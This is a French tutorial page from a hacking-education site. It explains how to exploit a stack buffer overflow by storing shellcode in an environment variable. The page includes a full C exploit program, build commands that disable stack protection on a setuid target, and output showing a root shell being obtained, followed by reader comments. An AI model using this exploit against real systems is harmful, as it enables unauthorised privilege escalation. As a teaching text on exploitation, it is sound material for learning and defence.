Les Buffer-Overflows


<< Les bss-based overflows Les format strings >>


V°) Utiliser l'environnement

   Nous allons maintenant étudier le cas, courant, où le buffer est trop petit pour accueillir notre buffer travaillé (NOP Sled + Shellcode + Adresse de retour). L'idée de l'exploitation est simple : l'utilisation des variables d'environnement.

Les variables d'environnement
   Tout d'abord, qu'est-ce que les variables d'environnement ? Ce sont tout simplement des variables qui servent à décrire l'environnement, ou le contexte courant d'éxécution du programme. Un processus transmet son environnement à tous ses processus fils (en effectuant les modifications nécessaires, le nom, le niveau de shell, etc..). Voici un exemple d'environnement :
    $ env
    SSH_AGENT_PID=2406
    GPG_AGENT_INFO=/tmp/seahorse-KIiV1v/S.gpg-agent:2406:1
    SHELL=/bin/bash
    DESKTOP_STARTUP_ID=
    TERM=xterm
    GTK_RC_FILES=/etc/gtk/gtkrc:/home/********/.gtkrc-1.2-gnome2
    WINDOWID=50333027
    GTK_MODULES=gnomebreakpad
    USER=********
    LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;[...]35:*.mp3=01;35:*.mpc=01;35:*.ogg=01;35:*.wav=01;35:
    SSH_AUTH_SOCK=/tmp/ssh-bmxJtv2350/agent.2350.seahorse
    GNOME_KEYRING_SOCKET=/tmp/keyring-wLpfOw/socket
    SESSION_MANAGER=local/**********:/tmp/.ICE-unix/2350
    USERNAME=********
    DESKTOP_SESSION=gnome
    PATH=/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games
    GDM_XSERVER_LOCATION=local
    PWD=/home/********
    LANG=fr_FR@euro
    GDM_LANG=fr_FR@euro
    GDMSESSION=gnome
    HOME=/home/********
    SHLVL=1
    GNOME_DESKTOP_SESSION_ID=Default
    LOGNAME=********
    XDG_DATA_DIRS=/usr/local/share/:/usr/share/:/usr/share/gdm/
    DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-jZJI1myvcB,guid=a3ccea00256419218cc97a00472ca33e
    WINDOWPATH=7
    DISPLAY=:0.0
    COLORTERM=gnome-terminal
    XAUTHORITY=/home/********/.Xauthority
    _=/usr/bin/env
    $
Les variables d'environnement communes sont SHLVL (le nombre de shells au-dessus du processus courant), USER indique le nom d'utilisateur courant, SHELL le shell utilisé, PATH est la liste des chemins d'exécution par défaut (quand on tape une commande, la recherche est effectuée dans ces répertoires), _ contient le nom de la commande qui a lancé le processus en cours ; mais aussi beaucoup d'autres plus obscures comme LS_COLORS qui contient les couleurs utilisées pour chaque type de fichiers rencontrés à l'affichage (à noter que sous Linux, tout est fichier, les répertoires, symbolic links, hard links y compris).
Bien sûr, tout ce contexte d'exécution est accessible à tout programme en cours. La chose importante est que l'utilisateur est libre de faire évoluer ses processus dans l'environnement qu'il veut. Il peut ainsi notamment ajouter n'importe quelle variable d'environnement. Démonstration :
    $ export TEST="Nouvelle variable d'environnement"
    $ env
    SSH_AGENT_PID=2406
    GPG_AGENT_INFO=/tmp/seahorse-KIiV1v/S.gpg-agent:2406:1
    SHELL=/bin/bash
    DESKTOP_STARTUP_ID=
    TERM=xterm
    [...]
    LANG=fr_FR@euro
    GDM_LANG=fr_FR@euro
    GDMSESSION=gnome
    TEST=Nouvelle variable d'environnement
    [...]
    _=/usr/bin/env
    $
L'idée de l'exploitation devient triviale : voici la place pour stocker notre shellcode. Il nous suffit d'injecter notre shellcode dans l'environnement et d'y accéder ensuite depuis le programme d'exploitation.
Nous effectuons ici une parenthèse relative à la majorité des autres article sur le sujet : il n'est plus possible d'effectuer cette exploitation en lignes de commande, car les espaces mémoires ne peuvent plus être déterminés à l'avance depuis l'intégration commune du patch ASLR (Address Space Layout Randomization). Les variables d'environnement étant stockées au fond de la pile, si l'espace mémoire alloué est aléatoire, l'adresse de la variable d'environnement l'est aussi. On la récupère donc au début de notre programme d'exploitation. C'est aussi la raison qui fait que nous n'avons pas du tout développé l'exploitation des buffer-overflows sans programme d'exploitation.

Exploitation en dehors du buffer
   Pour nous obliger à ne pas pouvoir utiliser le buffer, on modifie le programme stack-based_overflow en mettant un buffer ne comportant que 20 caractères. Ainsi, il n'y a pas assez de place pour injecter notre shellcode. Voici notre programme d'exploitation :
    //stack-based_exploit2.c Exploitation de l'environnement

    #include <stdlib.h>
    #include <stdio.h>
    #include <unistd.h>

    #define VAR_ENV "BYTECODE" //Variable d'environnement contenant le bytecode à insérérer
    #define LONG_BUFFER 40 //Longueur du buffer injecté


    int main() {

      char *buffer;
      long env_var,*temp_addr;
      int i;

      if (getenv(VAR_ENV) == NULL)
      {
        printf("Variable d'environnement %s non trouvée\n",VAR_ENV);
        exit(0);
      }

      env_var = getenv(VAR_ENV);

      printf("Contenu de la variable d'environnement %s à 0x%x: %s\n",VAR_ENV,env_var,env_var);

      buffer = malloc(LONG_BUFFER);

      temp_addr = (long *) buffer;

      printf("Adresse cible à 0x%x\n",env_var);

      for (i=0;i < LONG_BUFFER;i+=4) //Injection de l'adresse de retour
        *(temp_addr++) = env_var;

      buffer[LONG_BUFFER - 1] = 0;

      execl("./stack-based_overflow2","stack-based_overflow2",buffer,0);

      free(buffer);

      return 0;
    }

Comme vous pouvez le constater, le programme d'exploitation ne change pas foncièrement, il est même plutôt simplifié, puisque le déterminisme total de l'adresse de retour voulue nous permet de nous affranchir du NOP Sled. Testons.
    $ su -
    Mot de passe :
    # gcc -m32 -fno-stack-protector -z execstack stack-based_overflow2.c -o stack-based_overflow2 && chmod +s stack-based_overflow2
    # logout
    $ export BYTECODE=`cat shellcode`
    $ gcc stack-based_exploit2.c -o stack-based__exploit2 && ./stack-based__exploit2
    Contenu de la variable d'environnement BYTECODE à 0xbf868e57: ë^‰1ÀˆF‰F
    °
    ‰óV
    ̀1ۉØ@̀èÜÿÿÿ/bin/sh
    Adresse cible à 0xbf868e57
    Votre nom, WŽ†¿WŽ†¿WŽ†¿WŽ†¿WŽ†¿WŽ†¿WŽ†¿WŽ†¿WŽ†¿WŽ†, a été enregistré avec succès
    sh-3.1# whoami
    root
    sh-3.1#
L'exploitation marche donc parfaitement. Vous l'aurez peut-être remarqué, nous avons mis deux '_' au nom de l'exécutable, tout simplement pour que le nom soit de la même taille que celui du programme vulnérable. Ainsi, la valeur de l'adresse de la variable d'environnement n'est pas modifiée (nous rappellons que le nom de l'éxécutable se trouve au fond de la pile, dans la variable _). Changer le nom invoquerait un décalage des adresses.
A noter qu'une autre technique similaire consister à glisser le shellcode dans les arguments de l'exécutable (paramètres d'appel), qui comportent l'avantage d'être à une distance à peu près fixe du buffer (le but est donc, non pas de faire sauter l'EIP dans le buffer vulnérable, mais dans les arguments de la fonction principale, dans le bas de la pile). Certains programmeur prennent soin, lorsque possible, de nettoyer l'environnement et les arguments non-nécessaires au début de l'exécution du programme.
Cet article conclut notre partie sur l'exploitation classique des buffer-overflows, la faille la plus répandue et certainement la plus dangereuse parmi les exécutables.


<< Les bss-based overflows Les format strings >>



4 Commentaires

FrizN 15/10/12 08:43
La version du kernel n'importe pas si vous avez désactivé ASLR & co. Pour comprendre ce qui ne va pas, le mieux est de debugger pas à pas, et voir à quel endroit ça crash (est-ce que le shellcode est à la bonne adresse, si oui, est-ce qu'il fonctionne correctement ?). Pour se faire la main sur ce genre d'exploitation, vous pouvez tester sur http://w3challs.com/challenges/wargame .

mukiwara 15/10/12 04:45
j'ai essayer tous ces examples mais j'ai toujours un segmentation fault meme apres avoir desactiver ASLR , NX et SSP . j'etudie ces vulenerabilites depuis maintenant un mois mais rien ne semble marcher sur les recentes versions du kernel. Pourriez vous me dire la version que vous utilisez?
je suis sous ubuntu 12.04 LTS i686 kernel 3.2.0-31.
J'aimerais aussi que vous me donniez un aperçu des remote exploit

FrizN 18/01/12 06:57
C'est normal que ce soit compliqué au début, mais avoir la patience d'échouer et de comprendre pourquoi est primordial. Pour le contact, j'essaie toujours de répondre aux questions un peu élaborées des commentaires ou de la zone contact.
Bon courage.

Fyl974 18/01/12 03:18
Tout cela me parait bien compliqué hein. Mais avec le temps et la patience, à force de perséverence et de relecture je pense y arriver, j'en ai les moyens et la capacité. Le seul problème étant mon impatience. Merci beaucoup du tutorial, si tu aurais l'amabilité d'etre en contact avec moi, j'en serai ravi.

Fyl




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.